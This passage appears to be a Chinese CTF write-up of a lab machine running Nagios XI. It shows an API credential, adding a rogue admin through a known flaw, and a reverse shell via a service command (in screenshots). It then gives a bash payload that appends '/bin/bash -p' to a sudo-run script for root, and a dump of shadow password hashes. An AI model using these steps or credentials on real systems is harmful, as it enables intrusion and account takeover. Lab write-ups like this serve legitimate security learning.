nagiosadmin/IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

在 VulnDB 中的历史漏洞利用处发现添加管理员的接口

![Pasted+image+20240115094341.png](./assets/0583-monitored/Pasted+image+20240115094341.png)


添加一个管理员 `test569/Admin@123`

![Pasted+image+20240115110311.png](./assets/0583-monitored/Pasted+image+20240115110311.png)

- 在后台找到一个添加命令的地方

> [https://nagios.monitored.htb/nagiosxi/includes/components/ccm/xi-index.php](https://nagios.monitored.htb/nagiosxi/includes/components/ccm/xi-index.php)

![Pasted+image+20240115110738.png](./assets/0583-monitored/Pasted+image+20240115110738.png)

![Pasted+image+20240115111009.png](./assets/0583-monitored/Pasted+image+20240115111009.png)

- 在添加服务页面，添加新的服务

![Pasted+image+20240115111038.png](./assets/0583-monitored/Pasted+image+20240115111038.png)

- 添加对应参数，Reverse Shell

![Pasted+image+20240115111210.png](./assets/0583-monitored/Pasted+image+20240115111210.png)

![Pasted+image+20240115111312.png](./assets/0583-monitored/Pasted+image+20240115111312.png)


点击运行检查

![Pasted+image+20240115111510.png](./assets/0583-monitored/Pasted+image+20240115111510.png)

## Shell as Root

- 检查 sudo 权限

![Pasted+image+20240115111544.png](./assets/0583-monitored/Pasted+image+20240115111544.png)


检查脚本所在目录，发现部分有可写权限

![Pasted+image+20240115111620.png](./assets/0583-monitored/Pasted+image+20240115111620.png)


检查 sudo nopasswd 运行的脚本中所调用的子脚本，发现一个 Vuln

![Pasted+image+20240115111754.png](./assets/0583-monitored/Pasted+image+20240115111754.png)

- 构造 Payload

```bash
for i in `seq 1000`; do if [[ $(tail /usr/local/nagiosxi/scripts/reset_config_perms.sh -n 1 | grep "bash -p") ]]; then break; else echo '/bin/bash -p' >> /usr/local/nagiosxi/scripts/reset_config_perms.sh; fi; done 1>/dev/null 2>/dev/null & sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh
# 然后清除捷径
sed 's/\/bin\/bash -p//g' -i /usr/local/nagiosxi/scripts/reset_config_perms.sh

Dump Hash

root:$y$j9T$LLy.W6CI0K6McgXMKio0i1$1omBVYjsg.8qEzyjkL.3kXtpAMZNc7x9CMwOnrwltJ8:19671:0:99999:7:::
daemon:*:19670:0:99999:7:::
bin:*:19670:0:99999:7:::
sys:*:19670:0:99999:7:::
sync:*:19670:0:99999:7:::
games:*:19670:0:99999:7:::
man:*:19670:0:99999:7:::
lp:*:19670:0:99999:7:::
mail:*:19670:0:99999:7:::
news:*:19670:0:99999:7:::
uucp:*:19670:0:99999:7:::
proxy:*:19670:0:99999:7:::
www-data:*:19670:0:99999:7:::
backup:*:19670:0:99999:7:::
list:*:19670:0:99999:7:::
irc:*:19670:0:99999:7:::
gnats:*:19670:0:99999:7:::
nobody:*:19670:0:99999:7:::
_apt:*:19670:0:99999:7:::
systemd-network:*:19670:0:99999:7:::
systemd-resolve:*:19670:0:99999:7:::
messagebus:*:19670:0:99999:7:::
systemd-timesync:*:19670:0:99999:7:::
avahi-autoipd:*:19670:0:99999:7:::
sshd:*:19670:0:99999:7:::
svc:$y$j9T$JKvaJakBax4xU3.kZFe221$D2o.A3O6EXWgKPzpD8Gky7cPbXZ/a9Ey/9/OM1AoE80:19671:0:99999:7:::
systemd-coredump:!*:19670::::::
mysql:!:19670:0:99999:7:::
ntp:*:19670:0:99999:7:::
postgres:*:19670:0:99999:7:::
Debian-exim:!:19670:0:99999:7:::
uuidd:*:19670:0:99999:7:::
openldap:!:19670:0:99999:7:::
Debian-snmp:!:19670:0:99999:7:::
snmptt:*:19670:0:99999:7:::
shellinabox:*:19670:0:99999:7:::
nagios:$y$j9T$EnaS672RtIQB0i6zh.ooO/$gkWPA1PKoIQH.ACc6NVntLPY9x55i08J4S6c1Rpvqn.:19671:0:99999:7:::
_laurel:!:19698::::::